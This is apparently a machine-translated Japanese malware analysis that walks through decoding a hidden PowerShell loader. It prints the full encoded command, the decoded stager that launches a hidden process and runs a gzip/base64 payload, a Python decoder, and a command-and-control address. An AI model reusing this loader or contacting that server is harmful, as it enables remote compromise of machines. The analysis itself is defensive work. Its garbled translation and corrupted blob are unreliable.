次のようにコマンドを実行するためのPowerShell攻撃：
PWD = asasd3344＆CMD = CMD / B / A / B /分PowerShellを起動cは。exeファイル-nop -w -e隠さaQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnACcASAA0AHMASQBBAEgALwBUAEUAbAAwAEMAQQA3AFYAVwBiAFcAKwBiAFMAQgBEACsAbgBFAGoANQBEADYAaQB5AEIAQwBpAE8AagBWAE8AbgBUAFMATgBWAE8AcgBBAGgAeAByAFYAVABVADIAegBzADIARwBlAGQATQBLAHgAaAA0ADIAVQBoAHMATQBRAG0AdgBmADcAMwBtADcAVQBoAFQAYQAvAHAAWABYAHYAUwBJAFMAVAAyAFoAVgA2AGUAbQBYAGwAMgBoADMAVgBPAFAAWQBaAGoASwBuAGkASgBKAFgAdwArAE8AVAA0AGEAdQBhAGsAYgBDAFYATABOAHUAMgBqAFgAaABkAG8AcQBVAE8AUwBqAEkAMQBpAHUAWgBmAGQATwBJAEwAdwBYAHAASQBXAGEASgBOADAANABjAGoARgBkAFgAbAAxADEAOABqAFIARgBsAEIAMwBtAGoAVwB2AEUAMQBDAHgARAAwAFkAcABnAGwARQBtAHkAOABLAGMAdwBEAFYARwBLAHoAagA2AHUANwBwAEQASABoAE0AOQBDADcAWQAvAEcATgBZAGwAWABMAGkAbgBGAGkAbwA3AHIAaABVAGcANABVADYAbgBQADkAdwBhAHgANQAzAEkAcwBEAFQAcwBoAG0ARQBuAGkANwA3ACsATAA4AHUASwBzAHQAVwB6AG8AOQA3AGwATABNAGsAbQAwAGkANAB5AGgAcQBPAEUAVABJAHMAcgBDAEYANQBrADcASABCAGMASgBrAHMAUQBoADkAdABJADQAaQA5AGUAcwBNAGMAWAAwADkAWABsAGoAUQBqAE4AMwBqAFcANwBBADIAZwBNAGEASQBoAGIARwBmAGkAYgBLAEUAQQBXADgASwBXAEoANQBTAG8AVgA5AFAATgB6AEEAWQBWAHMAUwBZAFQAaABLAFkAMAAvADEALwBSAFIAbABtAFYAZwBYAEYAdAB6ADAAWQByAG4AOABUAFYAcQBVAGYAagAvAGwAbABPAEUASQBOAFUAegBLAFUAQgBvAG4ATgBrAG8AZgBzAEkAZQB5AFIAcwArAGwAUABrAEcAZgAwAEgAbwBKAFcAagBaAEwATQBRADIAVwBzAGcAeABpAEQALwBFAEcAUwBUAFcAYQBFADEASQBYAGYAcwBXAE0AZABJAE8AMgBWAGQAWgArAFYAawBsADYAcgBnAFIAUwBJADUAYgBLAGQAYQBqAGoAQwAzAEUATwBZAHoAOABuADYASwBBAHAAdgBnAEMAVQAxADEANgBHAHAANgB3AC8ASgBPADcATAB5AGYASABKADgAYgBxAGkAeQByADMAZABmAGsANABWAEcAQgAwAHQAOQBtAE0ARQAyAEsAUgBSAG4ATwBHADkAMgBIAHQAQgBxAFEAdABEADgATwBLAHkATwBDADEAZwBXAGgAdQBuAE8AWgBLAFgAVAA1AGsAVgBhAGsAaQA3AHEALwA5AFkAdgBWAFgASgBnAGkAVABoADUARgBzADQATQBmAGEAWABvAEYARABXAHMAZwBaAFYANQBzAHMALwBwAG0AUQBYAHIAVABGAEYAMwBZAEsANgBFAGYAWQBxADEAawBrAHYANQBSAGUAdABDAGQAcQBIADEANgBqAEUAYgBnAEMAUgBKAEoAWQBiAHkATwA4AGkAZwBnAEsAWAA4AFkAegB4AE0AbgArAG4AcABrAGUAWQBQAGUAbABxAE8AUwBZACsAUwBsAFUAUABhAHAAUQBCAEsAaQBpAGYALwBDADIAWQBRAHgARQBrADAAYQBSAEQARgBFAEYAKwBEAG4AUABnAFgAVwAwAE4AWABFAGUAVgBkAE0AbgB2AG8AdgBMAE8ANQB5AEEAawBkAG8AaQBiAFoAWABWAGgAbABNAE4AaAA4ACsAcQBDAGoAVgB5AEMALwBMAHEAZwAwAGcAeQBYAFcAMgByAE8ANAB2ADEAUQAvAEEAcAAzAG0AQgBPAEcAUABUAGQAagBsAGIAbQBsAFgASwBhAHgAZABOAGUASgBhAGMAYgBTADMASQBPAEsAUQBlAGgAagBPADAARQBlAGQAZwBuAFAAUgBGADMAbwBZAFIAOQBwAGgAWQAyAEQAeQBxADMANABZAGgANAA2AEwAaQBGAHcAQQBzAEQAUwBBADkAUQBCAFYAbgBqADgATgB1AE0AOABTAEEARQBoAHIANwBuAGMAcwBCAEUAegBvADQAUwBnAEMARQBUADIAWgA5ADQAZwBiAGcAQQBuAHYASwBUADUAbgBqAGQAdQBnAEgAegB4AGIALwBnAHEARgBoADgAbwB5AHgATgBSAFoAZQBBAFoATwBxAGkAdQBUAFcASgBXAEYAeAB5AGMATQByAGcANQBlAEYASgBKADgASgA5AGMAUAA3ADgAdwBBAEUAUQBuAFIAVwBVAE4AcABPAHAAVQBMAEwAUwBDAGMAVABMAFgASAB2AFUAZAA1ADIASwBaAGsASAAzADQASwBZAFAAUQBqAFQAUwBPAE4ARABkAEQAYgA5AHEASABxADAARgA2ADEAZABSAHgAOQAyAEwAVQBqAFIAOQBWAGUASABUAGoAawArAFYAbwA5AHMAUwBaAG0AMABPAC8AVAAyAHkAVAAyAGIAYwA2AEgAawB6AEMAMABNAFEAdABNADQAQgA1AE0AZABHAEQARQBWAE8AUwBEACsATgB4AHIAMgA5ADMAZQAyAHIAYQAzAFkAVgByADEAYwB4AE0AdgBhAGMAVgBWAGsAdABUAHYAUgA1ACsANgAvAFMAMQB5AFEAVAAwAGMARwBkAGcAMwBlADEATQAxAGQAZQBpAFkAQgBiAGMAZAByAGIAbQBLAEoAeQBaADQASwBnAHoAQwBNAHcAQQB2AHAAbwBaAGUAcABvAHkAVgB3AEoATgBNAFQAbwBEAFcAdwB0ADEAcgBLAGkAQgBiAGYAVwBzAGQAbQB0AHUATgBpACsASgBoAGgAOQB0ADAAMQBaADcAMAB5AGQALwBUADMANwAwAGQAcgBzADMAMgA0ADMAVgBtADIARgBmAEQAWQAyAFAAdgB0AEUANgBOAC8AYgA2AEcANgA0AC8AMwAxAHcAUAB1AHYAcAArADcAdgBHADUAZABaAHYAcABXAEEAYwAvAHUAbgBGAHIATwBTAEcAYQBPAG8AawAyADEAWQAyADUANQBTAFIAbQBjAEwAbwBOAEwARwBmAFEAYgBCAHUAaABCAHUAcwBtADMAZwAwAFMAdQB3AGwAUABxADkAVgAvAG8AUAA3AGoAawBGAHcAKwBEAGcARwB1ADUAYwB6ADcARwBNADMATgBBAEIAVwBCAGEAcQBtAHEAZgBVAHUASgB2AGQAcAAyAFYAUABYADYAcgBVAGYAbgA0ADQAdQBOAE0AWQBHADEAegBkAGkAawBPADIAdQBWAEQAUAAzAGkAdAB0AGQAOAA1AHcAdwB4AFMAbQBMAFYAMABsAFgAVgBJAEgAQQBXAEkAOQBYAGQAZABwAHUAdABhAGYAegBCAGMAaQA2AHMAaQBhADcAcwBpAG8AbQB5ADIAKwBwADMAegBhADIATwArADkAdABOACsAWgAxAGMAdgAzAGsAVABOAE4AZgB0AFUAZABPAHgAVABkAHAAegBRAHcAMwB3AEYAdgAzADIAQgB2AGQAUABZAFMAOQB5AEgAZQBWADIAMwBYAFIANAAvAHIAbwA2AGIAVAA3AFMARwBYAEYASABuAFYAWgBNAFYAcwAzAFcAQgBIAGYAZgBhAHAAcQBKAFUAZgA5AG0ANgBKAEYANwBEAFcASQBHAEcAeABmAFcASwB1ADYAYwBlACsARQBhAE0ASgBuAEIAcABSAFgATQBZAG4AcgB1AGIAcwBEAHUATgBGAEEAQgBIAGMAUQBIAGQAVgA3ADMAVABkAEQAUgBjAG8ASQAzAGsAOQBNAFoAdAA5AFgAZgBLAGwARgAvAHAAMwBDAGMAVQBmADgAUwBzAEoAMgBYAEcARgBSAEcAegBWAGsAVAA4AEsAbQA5AHIAdAAyAGgAMQA3AFkANQBPAC8AZQBSAG8AVABWAFAAdgBmAGUAdgBPAEcATwBCAHMAagBVADAAZQBQAGUATQBpAGoAOQBxAEgAVQBNADMAegBVAEsAWABBAEUAVwBoAEoAMQBRAFgAZwBoAEcAbgBSAG4AbgBQAGoAMgBMAE0ATgBTAFMASgAvAHgAcABzAFUARQBvAFIAZwBkAFkASwB6AGIAYwA2AFYAeQBvAGgAcwBjAGUAYgBEAEcAOABJADAATgA4AE8AWABZAGMAMwB3AFEAawBNAFgANQArAC8ATwBKAEsARgBKADAASAA1AGEAKwArAHAAbABxADYAdQA1AG8AQQBSAGoAaQBxAGMAcABzAFkAQQAwAFkAQwBGAGQAVwBYADMAVwBsAEcAZwBsAFMAaQA3AHQAZwBJAFIALwBuAHgAWQBuAFQAZwBwAEoARwA2AHAAegBqAHMAUgB6ADAAcABwAG0ATwB3AE4AeQAvAHoANAAxAG4ASgBGAGUANQBqACsAcgA5AGsAcQBMADQAMABRAFAAdgA2AC8AWgBPAHYAcgAyAGoALwBzAC8AbABRAEcAbABmAG8AKwAzAHUAOQBXAHYAMQAzADQAcABYAFQAKwBhAHQAeABUAEYAegBNAFEAdABPAEgATwBJACsAagBRAGIAVgA4AE0AdgArAFQARgBzAHgAKwBSAGYAVQAyAGcANwB1AHYAeQA0AGIAKwBTAEgAMwBOADIAZABnAE0ALwBLAEMAZgBIAGYAdwBIADIAZwB3AHkAdABzAHcAbwBBAEEAQQA9AD0AJwAnACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApAAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApAAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApA
復号化された結果のうち、Base64文字列を次のように
もし（【のIntPtr] ::サイズ-eq 4）{$ B = $のENV：WINDIR + ' \ sysnative \ WindowsPowerShell \ v1.0を用の\たpowershell.exe ' } 他 {$ B = ' たpowershell.exe ' }; $ S =新オブジェクトSystem.Diagnostics.ProcessStartInfo; $ s.FileName = $ B; $ s.Arguments = " -c隠さ-w -nop＆（[スクリプトブロック] ::（（新・オブジェクトはSystem.IO.StreamReaderを作成します（新-object System.IO.Compression.GzipStream（（新オブジェクトSystem.IO.MemoryStream（、[System.Convert] ::（FromBase64String ''H4sIAH / TEl0CA7VWbW + bSBD + nEj5D6iyBCiOjVOnTSNVOrAhxrVTU2zs2GedMKxh42UhsMQmvf73m7UhTa / pXXvSIST2ZV6emXl2h3VOPYZjKniJJXw + OT4auakbCVLNu2jXhdoqUOSjI1iuZfdOILwXpIWaJN04cjFdXl118jRFlB3mjWvE1CxD0YpglEmy8KcwDVGKzj6u7pDHhM9C7Y / GNYlXLinFio7rhUg4U6nP9wax53IsDTshmEni77 + L8uKstWzo97lLMkm0i4yhqOETIsrCF5k7HBcJksQh9tI4i9esMcX09XljQjN3jW7A2gMaIhbGfibKEAW8KWJ5SoV9PNzAYVsSYThKY0 / 1 / RRlmVgXFtz0Yrn8TVqUfj / llOEINUzKUBonNkofsIeyRs + lPkGf0HoJWjZLMQ2WsgxiD / EGSTWaE1IXfsWMdIO2VdZ + Vkl6rgRSI5bKdajjC3EOYz8n6KApvgCU116Gp6w / JO7LyfHJ8bqiyr3dfk4VGB0t9mME2KRRnOG92HtBqQtD8OKyOC1gWhunOZKXT5kVaki7q / 9YvVXJgiTh5Fs4MfaXoFDWsgZV5ss / pmQXrTFF3YK6EfYq1kkv5RetCdqH16jEbgCRJJYbyO8iggKX8YzxMn + npkeYPelqOSY + SlUPapQBKiif / C2YQxEk0aRDFEF + DnPgXW0NXEeVdMnvovLO5yAkdoibZXVhlMNh8 + qCjVyC / Lqg0gyXW2rO4v1Q / Ap3mBOGPTdjlbmlXKaxdNeJacbS3IOKQehjO0EedgnPRF3oYR9phY2Dyq34Yh46LiFwAsDSA9QBVnj8NuM8SAEhr7ncsBEzo4SgCET2Z94gbgAnvKT5njdugHzxb / gqFh8oyxNRZeAZOqiuTWJWFxycMrg5eFJJ8J9cP78wAEQnRWUNpOpULLSCcTLXHvUd52KZkH34KYPQjTSONDdDb9qHq0F61dRx92LUjR9VeHTjk + Vo9sSZm0O / T2yT2bc6HkzC0MQtM4B5MdGDEVOSD + Nxr293e2ra3YVr1cxMvacVVktTvR5 + 6 / S1yQT0cGdg3e1M1deiYBbcdrbmKJyZ4KgzCMwAvpoZepoyVwJNMToDWwt1rKiBbfWsdmtuNi + Jhh9t01Z70yd / T370drs3243Vm2FfDY2PvtE6N / b6G64 / 31wPuvp + 7vG5dZvpWAc / unFrOSGaOok21Y255SRmcLoNLGfQbBuhBusm3g0SuwlPq9V / oP7jkFw + DgGu5cz7GM3NABWBaqmqfUuJvdp2VPX6rUfn44uNMYG1zdikO2uVDP3ittd85wwxSmLV0lXVIHAWI9XddputafzBci6sia7siomy2 + p3za2O + 9tN + Z1cv3kTNNftUdOxTdpzQw3wFv32BvdPYS9yHeV23XR4 / ro6bT7SGXFHnVZMVs3WBHffapqJUf9m6JF7DWIGGxfWKu6ce + EaMJnBpRXMYnrubsDuNFABHcQHdV73TdDRcoI3k9MZt9XfKlF / p3CcUf8SsJ2XGFRGzVkT8Km9rt2h17Y5O / eRoTVPvfevOGOBsjU0ePeMij9qHUM3zUKXAEWhJ1QXghGnRnnPj2LMNSSJ / xpsUEoRgdYKzbc6VyohscebDG8I0N8OXYc3wQkMX5 + / OJKFJ0H5a ++ plq6u5oARjiqcpsYA0YCFdWX3WlGglSi7tgIR / nxYnTgpJG6pzjsRz0ppmOwNy / Z41nJFe5j + r9kqL40QPv6 / ZOvr2j / S / lQGlfo + 3u9Wv134pXT + atxTFzMQtOHOI + jQbV8Mv + TFsx + RfU2g7uvy4b + SH3N2dgM / KCfHfwH2gwytswoAAA =='' ）））、[System.IO.Compression.CompressionMode] ::解凍）））ReadToEnd（）））。" ; $ s.UseShellExecute = $ falseを ; $ s.RedirectStandardOutput = $ 真 ; $ s.WindowStyle = ' 隠された' ; $ s.CreateNoWindow = $ 真 ; $ P = [System.Diagnostics.Process] ::スタート（$ sの）
これは、中央部には、まだ目に見えない文字であることがわかりました。
少し欠陥があるが、これはPowerShellにあるので、それは、ここで少し低く投げ、base64でbase64での特性すべてを持っていない、一時的には、PowerShellを学び、以前に学んだことはありません。
復号化した後、溶液中のBASE64 gzip圧縮、スクリプト解読コードを記述するのpythonを使用するターン使用中にgzip圧縮は、最初に見つけ、その後BASE64される以下の通りであります：
＃- * -コーディング：UTF-8 - * - インポートのgzip 輸入のStringIO 輸入BASE64 compresseddata = base64.b64decode（「」「」「これは単に暗号化された文字列です」） compressedstream = StringIO.StringIO（compresseddata） gzipper = gzip.GzipFile（もしfileobj = compressedstream） データ = gzipper.read（） 印刷（データ）
結果は以下の通りであります：
ここで簡単に確認することができ、これは、CSとMetasploitのの手口です。だから今、私たちは〜サーバーc2のリモコンを見つける必要があり
中東C2サーバアドレスが混乱している、解読し続け
BASE64 +混乱をコーディング、ここでは、明日作る場所を見つけることができませんでした突然のすべてを書いて、ファズのためのコードを書くことを学ぶためにバックしながら、シェルは〜です
猫data.txtを| iconv -f UTF-16LE --to-コード= UTF-8 | BASE64 - D
猫B.TXT | iconv -f UTF-16LE --to-コード= UTF-8 | base32 -d
最終打ち上げC2サーバーのアドレスは次のとおりです。443：114.118.83.230